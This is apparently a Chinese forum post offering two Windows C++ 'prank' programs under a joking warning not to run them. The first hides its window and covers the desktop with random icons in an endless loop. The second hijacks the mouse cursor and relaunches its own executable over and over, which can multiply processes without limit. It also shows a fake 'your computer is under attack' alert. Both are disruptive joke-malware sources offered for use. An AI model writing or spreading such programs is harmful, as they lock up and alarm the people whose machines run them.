请勿尝试, 否则逝世（有两个）

#include <Windows.h>
#include<iostream>
using namespace std;
HCRYPTPROV prov;
HINSTANCE hShell32 = LoadLibrary("1.dll");
int random() 
{    
if (prov == NULL) if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT)) ExitProcess(1);
    int out;
	CryptGenRandom(prov, sizeof(out), (BYTE *)(&out));
    return out & 0x7fffffff;
}
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
	HWND hDesktop = GetDesktopWindow(); 
  	HDC hdc = GetWindowDC(hDesktop);  
void PlayloadIcon(int position,int fen)
{       
position--;
int tmpp=position%fen;
int startx = x/fen*tmpp;
int endx = startx + x/fen;
tmpp=(position-tmpp)/fen;
int starty = y/fen*tmpp;
int endy = starty + y/fen;
 
	for(int d=7;d<=20;d+=5)
	{
		int d2=random()%(d-5)+5;
			for(int tx=startx;tx<endx;tx+=d2)
			{
				for(int ty=starty;ty<endy;ty+=d2) 
				    DrawIcon(hdc, tx,  ty, LoadIcon(hShell32,MAKEINTRESOURCE(random()%28+100)));
			 }	      
		
	}
}
int main()
{
	ShowWindow(GetForegroundWindow(),0);
	int hasb[130];
    int fen;
    while(1)
    {
     	fen=random()%10+2;
 	    memset(hasb, 0, sizeof(hasb));
 	    for(int thnum=1;thnum<fen*fen;)
 	    {
 		    int position=random()%(fen*fen)+1;
 		    if(hasb[position] == 0) 
		     {
		 	    hasb[position] = 1;
 			    PlayloadIcon(position,fen);
 			    thnum++;
		     }
	     }
    }
    return 0;
}

还有一个：

#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
//线程1：鼠标效果 
void *test(void *ptr)
{
	int i;
	int x=GetSystemMetrics(SM_CXSCREEN);
	int y=GetSystemMetrics(SM_CYSCREEN);
	srand(time(NULL));
	for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
 
void *test1(void *ptr)
{
	int j;
	for(int u=0;u<100;u++)
	{
		cout<<u<<endl;	
	} 
}
 
int main(void)
{
	pthread_t pId;
	int i,ret;
	pthread_t pId1;
	int j,ret1;
	ret = pthread_create(&pId,NULL,test,NULL);
	ret1 = pthread_create(&pId1,NULL,test,NULL);
 
	if (ret != 0)
	{
		cout<<"error！"<<endl; 
		return 0;
	}
	if (ret1 != 0)
	{
		cout<<"error！"<<endl; 
		return 0;
	}
	HWND hWnd = GetConsoleWindow(); 
    SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
	char s[100] = "start "; 
    system(strcat(s, _pgmptr)); 
    MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION); 
	pthread_join(pId,NULL);
	pthread_join(pId1,NULL);
	return 0;
 
}